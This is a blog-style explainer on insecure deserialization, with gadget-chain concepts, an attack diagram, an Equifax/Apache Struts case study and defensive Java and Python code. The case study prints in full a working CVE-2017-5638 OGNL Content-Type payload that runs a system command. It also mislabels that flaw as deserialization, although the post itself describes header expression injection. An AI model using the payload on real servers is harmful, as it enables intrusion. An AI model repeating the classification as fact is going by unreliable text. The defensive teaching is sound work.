Luke a Pro

Luke Sun

Developer & Marketer

🇺🇦
EN||

Insecure Deserialization

| , 5 minutes reading.

1. Definition

Insecure Deserialization occurs when an application deserializes (converts serialized data back into objects) untrusted data without proper validation. Attackers can manipulate serialized objects to:

  • Execute arbitrary code on the server
  • Perform injection attacks
  • Replay, tamper with, or escalate privileges
  • Cause denial of service

This vulnerability is particularly dangerous because exploitation often leads directly to Remote Code Execution (RCE).

2. Technical Explanation

Serialization converts objects into a format (bytes, JSON, XML) that can be stored or transmitted. Deserialization reconstructs objects from that format.

Why It’s Dangerous: Many languages execute code during deserialization:

  • Object constructors/destructors are called
  • Magic methods are invoked (__wakeup() in PHP, readObject() in Java)
  • Property setters may trigger side effects

Vulnerable Languages and Formats:

  • Java: Native serialization, XStream, Jackson (with polymorphism)
  • PHP: unserialize() function
  • Python: pickle module
  • .NET: BinaryFormatter, ObjectStateFormatter
  • Ruby: Marshal.load()

Attack Concept - Gadget Chains: Attackers don’t inject new code. Instead, they chain existing classes (“gadgets”) in the application or its libraries to achieve code execution.

Serialized Object → Deserialization → Gadget Class A
                                          ↓ calls
                                      Gadget Class B
                                          ↓ calls
                                      Gadget Class C
                                          ↓ executes
                                      Runtime.exec("malicious command")

3. Attack Flow

sequenceDiagram
    participant Attacker
    participant WebApp as Web Application
    participant Deserializer as Deserialization Library
    participant System as Operating System

    Attacker->>Attacker: Craft malicious serialized payload<br/>using known gadget chain

    Attacker->>WebApp: Send payload in cookie/parameter<br/>session=rO0ABXNyABFqYXZhLnV0aWw...

    WebApp->>Deserializer: Deserialize session data

    Deserializer->>Deserializer: Reconstruct object graph<br/>Trigger gadget chain

    Note over Deserializer: Gadget chain executes<br/>malicious code path

    Deserializer->>System: Runtime.exec or equivalent

    System-->>Attacker: Reverse shell / Command output

4. Real-World Case Study: Apache Struts (2017)

Target: Equifax and thousands of other organizations. Vulnerability Class: Java Deserialization RCE (CVE-2017-5638).

The Vulnerability: Apache Struts, a popular Java web framework, had a critical vulnerability in its Jakarta Multipart parser. When processing Content-Type headers for file uploads, it used OGNL (Object-Graph Navigation Language) expressions that could be manipulated.

The Attack: The attacker sent a malicious HTTP request with a crafted Content-Type header:

Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Equifax Breach: In September 2017, Equifax disclosed that attackers had exploited this vulnerability to access personal data of 147 million people, including Social Security numbers, birth dates, and addresses.

Impact: One of the largest data breaches in history, resulting in $700+ million in settlements. This demonstrated how a single deserialization vulnerability could have catastrophic consequences.

5. Detailed Defense Strategies

A. Avoid Native Deserialization

The safest approach is to not deserialize untrusted data at all.

  • Use Simple Data Formats: Prefer JSON or XML with explicit parsing (not object mapping).
  • No Polymorphic Deserialization: Avoid features that allow arbitrary class instantiation.
// Bad: Native Java deserialization
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // Dangerous!

// Better: JSON with explicit type
ObjectMapper mapper = new ObjectMapper();
User user = mapper.readValue(json, User.class); // Explicit type

B. Integrity Checks

Sign serialized data to detect tampering.

  • HMAC Signature: Sign data before serialization, verify before deserialization.
  • Encryption: Encrypt serialized data so attackers cannot craft valid payloads.
import hmac
import hashlib

def serialize_with_signature(data, secret_key):
    serialized = pickle.dumps(data)
    signature = hmac.new(secret_key, serialized, hashlib.sha256).hexdigest()
    return serialized + b'.' + signature.encode()

def deserialize_with_verification(signed_data, secret_key):
    serialized, signature = signed_data.rsplit(b'.', 1)
    expected = hmac.new(secret_key, serialized, hashlib.sha256).hexdigest()
    if not hmac.compare_digest(signature.decode(), expected):
        raise ValueError("Invalid signature")
    return pickle.loads(serialized)

C. Type Constraints (Allowlisting)

Restrict which classes can be deserialized.

Java (with ObjectInputFilter - Java 9+):

ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.myapp.model.*;!*"  // Allow only com.myapp.model, deny all others
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);

D. Isolate Deserialization

Run deserialization in a sandboxed environment.

  • Separate Process: Deserialize in a low-privilege process.
  • Container Isolation: Use containers with restricted capabilities.
  • Time Limits: Abort deserialization that takes too long (DoS protection).

E. Monitor and Detect

  • Log Deserialization: Track all deserialization operations.
  • Anomaly Detection: Alert on unusual class loading patterns.
  • RASP (Runtime Application Self-Protection): Tools that detect exploitation attempts.

F. Keep Dependencies Updated

Many deserialization exploits target known vulnerable libraries.

  • Dependency Scanning: Use tools like OWASP Dependency-Check, Snyk.
  • Gadget Libraries: Watch for vulnerabilities in common libraries (Commons Collections, Spring, etc.).

6. References